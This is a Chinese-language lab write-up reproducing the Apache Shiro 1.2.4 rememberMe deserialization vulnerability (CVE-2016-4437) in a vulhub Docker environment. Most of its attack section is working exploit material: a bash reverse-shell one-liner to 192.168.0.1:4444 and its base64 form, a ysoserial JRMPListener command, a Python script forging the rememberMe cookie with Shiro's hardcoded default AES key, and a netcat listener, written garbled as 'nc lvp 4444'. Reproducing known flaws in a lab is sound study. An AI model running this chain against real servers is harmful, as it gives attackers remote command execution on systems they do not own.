Shiro1.2.4反序列化漏洞复现

漏洞解析

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

漏洞环境

使用vulhub环境
执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:

1
2
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录。

漏洞复现

登录

利用工具-ShiroAttack2


手工复现

登录抓包

shiro漏洞指纹
在请求包的Cookie中为?remeberMe字段赋任意值
返回包中存在set-Cookie:remeberMe=deleteMe

反弹shell

制作反弹shell序列化数据

将命令进行base64编码

1
bash -i >& /dev/tcp/192.168.0.1/4444 0>&1

得到payload

1
bash -c {'echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS80NDQ0IDA+JjE='}|{base64,-d}|{bash,-i}

通过ysoserial工具中的JRMP监听模块,监听6666端口并执行反弹shell命令,

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {'echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS80NDQ0IDA+JjE='}|{base64,-d}|{bash,-i}'

构造payload

使用python构造payload,秘钥为Shiro默认秘钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys

import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

执行

1
python3 AES.py ip:6666

获得pyload

nc 监听

1
nc lvp 4444

伪造cookie发送

反弹shell

总结

漏洞产生的根本原因就是因为AES加密的key硬编码在源码中,从而可以被攻击者利用泄露的AES key伪造rememberMe字段生成cookie值,导致反序列化漏洞。因此,服务器端对cookie值的处理过程反过来就是payload的产生过程:命令=>进行序列化=>AES加密=>base64编码=>产生RememberMe Cookie值。